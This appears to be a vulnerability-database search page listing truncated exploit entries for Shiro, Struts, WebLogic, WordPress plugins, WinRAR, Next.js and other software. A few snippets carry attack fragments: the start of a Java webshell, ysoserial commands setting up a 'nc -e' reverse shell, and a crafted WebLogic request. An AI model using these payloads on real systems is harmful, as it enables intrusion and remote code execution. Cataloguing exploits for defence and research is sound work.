Lucene search
+L

270184 matches found

Kitploit
Kitploit
added 2026/09/04 6:13 a.m.5 views

Shiro_Xray

ShiroXray Gadget root@kitploit: CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell 冰蝎 root@kitploit: import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class...

9.8CVSS5.5AI score0.93039EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/04 6:12 a.m.6 views

ThinkCMF_getshell

Vulnerabilidad de inclusión de contenido arbitrario en el framework ThinkCMFgetshell Los atacantes remotos pueden ejecutar código arbitrario en el servidor remoto mediante la construcción de paquetes de solicitud específicos, sin necesidad de ningún privilegio. Uso de python: + python...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/04 6:12 a.m.3 views

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 简介: cookie的cookiememeMe已通过AES-128-CBC模式加密,这很容易受到填充oracle攻击的影响。 攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后制作精心制作的RememberMe来执行Java反序列化攻击,例如SHIRO-550。 0x01 重现此问题的步骤: 1. 登录网站,并从cookie中获取RememberMe。 2. 使用RememberMe...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/04 6:11 a.m.4 views

SHIRO-550

Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4(SHIRO-550) commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

5.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/04 6:11 a.m.4 views

CVE-2024-25600-Bricks-Builder-plugin-for-WordPress

CVE-2024-25600 利用工具 🚀 描述 📝 此工具 🛠️ 旨在利用 WordPress 的 Bricks Builder 插件中发现的 CVE-2024-25600 漏洞 🕳️。该漏洞允许在受影响的网站 💻 上进行未经身份验证的远程代码执行。该工具通过检索 nonce 并发送特制请求来执行任意命令,从而自动化利用过程。 特性 🌟 交互模式 :实时与目标网站交互 🕹️。 批量模式 :从列表中扫描并利用多个网站 📋。 命令执行 :在目标服务器上执行任意命令 ⚙️。 安装 🛠️ 1. 使用 git clone 将此仓库克隆到您的本地机器 🖥️。 2. 进入克隆仓库的目录。 3. 使用...

10CVSS9.8AI score0.88234EPSS
SaveExploits19
Kitploit
Kitploit
added 2026/09/04 6:11 a.m.8 views

st2-048

St2-048 远程代码执行漏洞 Apache Struts 2 的 Struts 2.3.x 系列中,Struts 1 插件示例(Struts Showcase 应用)可能存在 RCE http://struts.apache.org/docs/s2-048.html https://cwiki.apache.org/confluence/display/WW/S2-048 用法: root@kitploit: python St2-048.py set url : http://xx.xx.xx.xx:port/integration/saveGangster.action cmd ...

9.8CVSS8.5AI score0.98908EPSS
SaveExploits19
Kitploit
Kitploit
added 2026/09/04 6:09 a.m.7 views

CVE-2025-6218

CVE-2025-6218 | ZDI-CAN-27198 | ZDI-25-409 - WinRAR Path Traversal - Ejecución Remota de Código RCE Prueba de Concepto Más información: https://www.win-rar.com/singlenewsview.html?&L=0 https://www.cvedetails.com/cve/CVE-2025-6218/ https://www.zerodayinitiative.com/advisories/ZDI-25-409/...

7.8CVSS8AI score0.90459EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/09/04 6:09 a.m.5 views

WSO2-2021-1259

WSO2-2021-1259: H2 RCE via Malicious JDBC Connection String in WSO2 ESB Due to the improper input validation, a remote code execution attack could be carried out using malicious H2 JDBC Connection Strings. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here...

6.5AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/04 6:07 a.m.4 views

Grav-CMS-RCE-Authenticated

Grav CMS Remote Code Execution Autenticado - CVE-2024-28116 Información Este código es una adaptación delrepositorio de GitHub Graver con algunas mejoras basadas en este video. Exploit contra Grav CMS para versiones anteriores a 1.7.45 basado en vulnerabilidades SSTI + RCE, etiquetado como...

8.8CVSS8.4AI score0.0576EPSS
SaveExploits4References1
Kitploit
Kitploit
added 2026/09/04 6:04 a.m.5 views

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

漏洞利用标题:未认证远程代码执行(RCE)- 家禽养殖管理系统 v1.0 日期:24-06-2024 CVE:CVE-2024-40110 EDB-ID:52053 漏洞利用作者:Jerry Thomas w3bn00b3r 厂商主页:https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html 软件链接:...

9.8CVSS5.2AI score0.01909EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/04 6:03 a.m.5 views

CVE-2021-44909

CVE-2021-44909 Título del Exploit: orangescrum 1.8.0 - Ejecución Remota de Comandos RCE no autenticado Fecha: 03/12/2021 Página del proveedor: https://www.orangescrum.org/ Enlace del software: https://github.com/Orangescrum/orangescrum Versión: 1.8.0 Probado en: Windows 10 x64 usando XAMPP 7.4.23...

5.5AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/04 6:02 a.m.4 views

CVE-2015-1635-POC

CVE-2015-1635-POC MS15-034 Script de detección de ejecución remota de código HTTP.sys MS15-034 script POC de ejecución remota de código HTTP.sys Coloca la IP a detectar en la línea 7 del código y luego ejecuta: python CVE-2015-1635-POC.py Coloca la IP detectada en la séptima línea del código y...

10CVSS8.6AI score0.99999EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/04 6:02 a.m.4 views

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

10CVSS9AI score0.99997EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/04 6:02 a.m.6 views

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Demo con Docker Demo en Mac Descripción de NVD CVE-2020-13957 NVD CVE-2020-13957 root@kitploit: Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be...

9.8CVSS9.1AI score0.79342EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/04 6:02 a.m.3 views

RCE-RealEstateVIDEOPOC

此存储库没有 README。...

5.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/04 6:01 a.m.5 views

MAL-005

MAL-005: WSO2 ESB 的“添加 Carbon 应用程序”功能中的 Zip Slip 漏洞 在 WSO2 ESB 的“Carbon 应用程序”添加功能中发现了基于 ZIP 文件的目录遍历(Zip Slip)漏洞。通过写入/覆盖特定文件,可能实现远程代码执行。 为什么没有 CVE? 供应商回复称此漏洞“已在 WUM 中修复”,且未进行公开披露。 要求: 此漏洞需要: 有效的用户凭据 概念验证: 更多详情和利用过程可参阅此 PDF。...

5.4AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/04 6:00 a.m.3 views

MAL-003

MAL-003:Apache OfBiz 中的 Groovy 安全绕过与存储型 XSS 已在 Apache OfBiz = 18.12.05 中发现 Groovy RCE 和 XSS 漏洞。 为什么没有 CVE? Apache OfBiz 不会为其安全页面中提到的“使用演示凭据(尤其是 admin 用户)进行的认证后攻击”创建 CVE。 要求: 此漏洞需要: 有效的用户凭据 概念验证: 更多详情和利用过程可参阅此 PDF。...

5.4AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/04 6:00 a.m.3 views

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 漏洞利用工具 一份概念验证工具,用于演示严重的 React2Shell 漏洞(CVE-2025-55182 / CVE-2025-66478),仅限授权、本地测试环境 。 ⚠️ 重要警告:正在被积极利用 仅限合法使用 :仅针对您拥有或已获得明确书面授权测试的系统使用。 需要立即修补 :如果存在漏洞,必须立即更新。修补是唯一确定的缓解措施。 不提供担保 :本工具仅用于教育和授权安全评估目的。 📄 漏洞概述 CVE-2025-55182 React2Shell 是 React 服务器组件 RSC "Flight"...

10CVSS7.5AI score0.99802EPSS
SaveExploits403
CVE
CVE
added 2026/09/04 6:00 a.m.4 views

CVE-2026-19224

CVE-2026-19224 affects the Hummingbird Performance WordPress plugin in versions prior to 3.21.2 . The vulnerability resides in the Hub Connector component, which fails to restrict a network-wide setting to network administrators , allowing any site administrator on a WordPress multisite network t...

7.2CVSS5.9AI score0.00169EPSS
SaveExploits0References1
Cvelist
Cvelist
added 2026/09/04 6:00 a.m.14 views

CVE-2026-19224 Hummingbird < 3.21.2 - Admin+ Network-Wide RCE via Hub Connector on Multisite

The Hummingbird Performance WordPress plugin before 3.21.2 does not restrict a network-wide setting to network administrators, allowing an administrator of any single site on a multisite network to execute arbitrary code across the entire network...

0.00169EPSS
SaveExploits0References1
Rows per page
Query Builder